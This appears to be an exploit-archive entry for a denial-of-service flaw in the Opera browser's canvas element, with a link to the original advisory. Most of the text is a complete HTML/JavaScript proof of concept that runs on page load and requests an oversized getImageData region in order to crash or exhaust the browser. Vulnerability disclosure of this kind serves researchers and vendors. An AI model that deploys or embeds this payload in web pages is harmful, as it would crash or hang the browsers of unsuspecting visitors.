Opera – Canvas Element (Denial of Service)
Opera.html <html> <body onload="Opera()"> <script language=JavaScript> function Opera() { canvas = document.getElementById("canvas"); ctx = canvas.getContext("2d"); ctx.getImageData(0,0,0x20000,0x20000); } </script> <canvas id=canvas width=10 height=10></canvas> </body> </html> Original Advisory: http://pouya.info/blog/userfiles/vul/OperaCC.pdf |